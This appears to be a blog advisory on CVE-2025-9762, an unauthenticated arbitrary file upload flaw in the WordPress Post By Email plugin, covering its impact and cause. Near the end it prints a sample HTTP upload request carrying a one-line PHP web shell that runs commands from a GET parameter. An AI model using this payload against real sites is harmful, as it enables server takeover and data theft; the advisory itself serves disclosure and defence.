Overview
In this blog post, we delve into the details of CVE-2025-9762, a critical vulnerability discovered in the WordPress Post By Email plugin. This vulnerability, which stems from a lack of file type validation in a function within the plugin, allows for arbitrary file uploads by unauthenticated attackers.
Any WordPress site using versions 1.0.4b and below of this plugin is at risk, and the impact of this exploit could be devastating – potential system compromise or data leakage. The severity of this issue is underscored by its CVSS Severity Score of 9.8, categorizing it as a critical threat that demands immediate attention.
Vulnerability Summary
CVE ID: CVE-2025-9762
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage
Affected Products
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Product | Affected Versions
WordPress Post By Email Plugin | Up to and including 1.0.4b
How the Exploit Works
The exploit takes advantage of the missing file type validation in the save_attachments function within the Post By Email plugin. An attacker can upload arbitrary files to the server, effectively bypassing the plugin’s security measures. Given the plugin’s lack of authentication requirements for file uploads, the attacker does not need any special privileges or user interaction to carry out this exploit.
The uploaded files can be executed remotely, making it possible for the attacker to execute arbitrary code on the affected site’s server. This could lead to a system compromise, allowing the attacker to gain control over the system or result in data leakage.
Conceptual Example Code
Here is a conceptual example of a malicious HTTP request exploiting this vulnerability:
POST /wp-content/plugins/post-by-email/save_attachments.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--This example shows an HTTP POST request uploading a PHP file called “exploit.php”. The PHP file contains a script that allows the execution of arbitrary system commands sent via the ‘cmd’ GET parameter.
Please note that this is a conceptual example and should not be used for malicious intent. The purpose of sharing this information is to raise awareness of how the vulnerability might be exploited and to emphasize the importance of applying necessary patches or mitigation strategies.
